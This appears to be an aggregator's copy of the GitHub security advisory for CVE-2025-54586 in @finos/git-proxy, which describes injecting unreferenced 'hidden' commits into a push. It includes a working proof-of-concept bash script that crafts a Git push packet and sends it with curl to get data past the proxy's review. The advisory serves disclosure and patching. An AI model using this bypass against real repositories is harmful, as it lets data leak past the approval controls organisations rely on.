@finos/git-proxy
Affected
- introduced
0, fixed1.19.2(semver)
Fixed versions
1.19.2
Fix
- Fixed version
1.19.2npm install @finos/[email protected]
Advisory
Also known as: CVE-2025-54586
GitProxy Hidden Commits Injection
Summary
An attacker can inject extra commits into the pack sent to GitHub, commits that aren’t pointed to by any branch. Although these “hidden” commits never show up in the repository’s visible history, GitHub still serves them at their direct commit URLs. This lets an attacker exfiltrate sensitive data without ever leaving a trace in the branch view. We rate this a High‑impact vulnerability because it completely compromises repository confidentiality.
Details
The proxy currently trusts only the ref‑update line (oldOid → newOid) and doesn't inspect the packfile’s contents
Because the code only runs git rev-list oldOid..newOid to compute introducedCommits but never checks which commits actually arrived in the pack, a malicious client can append extra commits. Those “hidden” commits won’t be pointed to by any branch but GitHub still stores and serves them by SHA.
<img width="2556" height="744" alt="Screenshot 2025-07-16 at 12 29 19" src="https://github.com/user-attachments/assets/abf459a9-310b-4819-a989-797c7e871790" />
PoC
Prerequisites
~/.github-test-pat.your-org/test-repo.git, to which you have push rights.1. Prepare the “visible” and “hidden” commits
# Clone the test repository
git clone http://localhost:8000/your-org/test-repo.git
cd test-repo
# 1. Record the original HEAD
ORIG_COMMIT=$(git rev-parse HEAD)
# 2. Create branch 'foo' and add a visible commit
git checkout -b foo
echo "visible commit" >> file.txt
git add file.txt
git commit -m "Visible commit"
VISIBLE_COMMIT=$(git rev-parse HEAD)
# 3. Go back to the original commit and create a hidden-branch
git checkout $ORIG_COMMIT
git checkout -b hidden-branch
echo "hidden change" > hidden.txt
git add hidden.txt
git commit -m "Hidden commit"
HIDDEN_COMMIT=$(git rev-parse HEAD)
# Return to 'foo'
git checkout foo
2. Push only the visible commit to branch foo
git push --set-upstream origin foo
# An authorized user approves this push via your normal review workflow
3. Build and push a pack containing the hidden commit
Create a script named upload-pack.sh (replace the placeholder variables with the SHAs you recorded above):
#!/usr/bin/env bash
REMOTE_URL="http://localhost:8000/your-org/test-repo.git"
REF_NAME="refs/heads/foo"
ORIG_COMMIT="<<ORIG_COMMIT>>"
NEW_COMMIT="<<VISIBLE_COMMIT>>"
OLD_COMMIT="0000000000000000000000000000000000000000"
HIDDEN_COMMIT="<<HIDDEN_COMMIT>>"
# 1. List all objects for the visible and hidden commits
git rev-list --objects --no-object-names "^${ORIG_COMMIT}" ${NEW_COMMIT} > objects.txt
git rev-list --objects --no-object-names "^${ORIG_COMMIT}" ${HIDDEN_COMMIT} >> objects.txt
# 2. Pack them into a single packfile
cat objects.txt
git pack-objects --stdout < objects.txt > packfile
# 3. Construct the Git smart‑protocol update header
printf "${OLD_COMMIT} ${NEW_COMMIT} ${REF_NAME}\0 report-status-v2 side-band-64k object-format=sha1 agent=git/2.39.5" > update_line
UPDATE_LINE_LEN="$(wc -c < update_line)"
printf "%04x" $((UPDATE_LINE_LEN + 4)) > output
cat update_line >> output
# Git smart protocol expects a flush packet
PKT_FLUSH="0000"
printf "%s" "${PKT_FLUSH}" >> output
# Append the packfile
cat packfile >> output
# 4. Send the malicious push via curl
curl -u ${USER}:"$(<~/.github-test-pat)" \
-X POST "${REMOTE_URL}/git-receive-pack" \
-H "Content-Type: application/x-git-receive-pack-request" \
-H "Accept: application/x-git-receive-pack-result" \
--user-agent "git/2.42.0" \
--data-binary @output | cat -v
Make it executable:
chmod +x upload-pack.sh
Run it:
./upload-pack.sh
4. Verify the hidden commit
Open in your browser (or via curl):
https://github.com/your-org/test-repo/commit/<<HIDDEN_COMMIT>>
You will see the “Hidden commit”, even though it is not referenced by any branch.
Impact
High Basis: The source's own band: HIGH
0, fixed 1.19.2 (semver)1.19.2
1.19.2npm install @finos/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0